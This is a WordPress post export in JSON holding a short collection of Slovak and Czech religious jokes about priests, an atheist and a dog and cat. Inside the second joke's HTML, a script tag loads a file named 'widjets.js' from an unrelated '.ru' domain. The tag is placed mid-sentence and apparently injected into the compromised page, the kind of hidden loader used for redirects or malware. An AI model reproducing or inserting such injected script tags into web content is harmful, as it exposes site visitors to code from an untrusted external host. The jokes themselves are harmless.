{"id":233,"date":"2009-09-06T22:33:50","date_gmt":"2009-09-06T21:33:50","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=233"},"modified":"2009-09-15T14:36:41","modified_gmt":"2009-09-15T13:36:41","slug":"humor","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=233","title":{"rendered":"Humor"},"content":{"rendered":"<p style=\"text-align: center;\" align=\"center\"><span class=\"style15\"><span style=\"font-family: Arial; font-size: 9pt;\"><span style=\"color: #00ff00;\">Jeden p\u00e1n far\u00e1r sa s\u0165a\u017euje druh\u00e9mu: \u201eNa streche m\u00e1m holuby. Neviem, ako sa ich zbavi\u0165.\u201c Ten mu porad\u00ed: \u201eTy po\u010duj, poviem ti svoju sk\u00fasenos\u0165. Z\u00a0mojich mlad\u00fdch sa po birmovke u\u017e nik neuk\u00e1zal v\u00a0kostole. Pobirmuj holuby; viac nepr\u00eddu, uvid\u00ed\u0161!\u201c<\/span><\/span><\/span><\/p>\n<p class=\"MsoNormal\" style=\"margin: 0in 0in 0pt; text-align: center;\" align=\"center\"><span style=\"font-family: Arial; font-size: 9pt;\"><span style=\"color: #00ff00;\">***<\/span><\/span><\/p>\n<p class=\"MsoNormal\" style=\"margin: 0in 0in 0pt; text-align: center;\" align=\"center\"><span style=\"font-family: Arial; font-size: 9pt;\"><span style=\"color: #00ff00;\">\u2013 Jste v\u011b\u0159\u00edc\u00ed?<br \/>\n\u2013 Ne, jsem ateista.<br \/>\n\u2013 Opravdu?<br \/>\n\u2013 Jako \u017ee B\u016fh je nade mnou!<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/span><\/span><\/p>\n<p class=\"MsoNormal\" style=\"margin: 0in 0in 0pt; text-align: center;\" align=\"center\"><span style=\"font-family: Arial; font-size: 9pt;\"><span style=\"color: #00ff00;\">\u00a0 \ud83d\ude42<\/span><\/span><\/p>\n<p class=\"MsoNormal\" style=\"margin: 0in 0in 0pt; text-align: center;\" align=\"center\"><span style=\"font-family: Arial; font-size: 9pt;\"><span style=\"color: #00ff00;\">***<\/span><\/span><\/p>\n<p class=\"MsoNormal\" style=\"margin: 0in 0in 0pt; text-align: center;\" align=\"center\"><span class=\"style151\"><span style=\"font-family: Arial; font-size: 9pt;\"><span style=\"color: #00ff00;\">Le\u017eia si pes a ma\u010dka na peci a cez pri\u017em\u00faren\u00e9 o\u010di sleduj\u00fa svojho p\u00e1na. <\/span><\/span><\/span><span style=\"font-size: 9pt; font-family: Arial;\"><br \/>\n<span style=\"color: #00ff00;\"><span class=\"style151\"><span style=\"font-family: Arial; mso-ansi-font-size: 9.0pt; mso-bidi-font-size: 9.0pt;\">Pes rozm\u00fd\u0161\u013ea: <\/span><\/span><br \/>\n<span class=\"style151\"><span style=\"font-family: Arial; mso-ansi-font-size: 9.0pt; mso-bidi-font-size: 9.0pt;\">K\u0155mi ma, star\u00e1 sa o m\u0148a, d\u00e1va mi strechu nad hlavou, ur\u010dite je Boh. <\/span><\/span><br \/>\n<span class=\"style151\"><span style=\"font-family: Arial; mso-ansi-font-size: 9.0pt; mso-bidi-font-size: 9.0pt;\">Ma\u010dka rozm\u00fd\u0161\u013ea: <\/span><\/span><br \/>\n<span class=\"style151\"><span style=\"font-family: Arial; mso-ansi-font-size: 9.0pt; mso-bidi-font-size: 9.0pt;\">K\u0155mi ma, star\u00e1 sa o m\u0148a, d\u00e1va mi strechu nad hlavou, ur\u010dite som Boh.<\/span><\/span><\/span><\/span><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>Jeden p\u00e1n far\u00e1r sa s\u0165a\u017euje druh\u00e9mu: \u201eNa streche m\u00e1m holuby. Neviem, ako sa ich zbavi\u0165.\u201c Ten mu porad\u00ed: \u201eTy po\u010duj, poviem ti svoju sk\u00fasenos\u0165. Z\u00a0mojich mlad\u00fdch sa po birmovke u\u017e&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=233\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[11,6],"tags":[],"class_list":["post-233","post","type-post","status-publish","format-standard","hentry","category-11","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/233","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=233"}],"version-history":[{"count":8,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/233\/revisions"}],"predecessor-version":[{"id":5788,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/233\/revisions\/5788"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=233"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=233"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=233"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}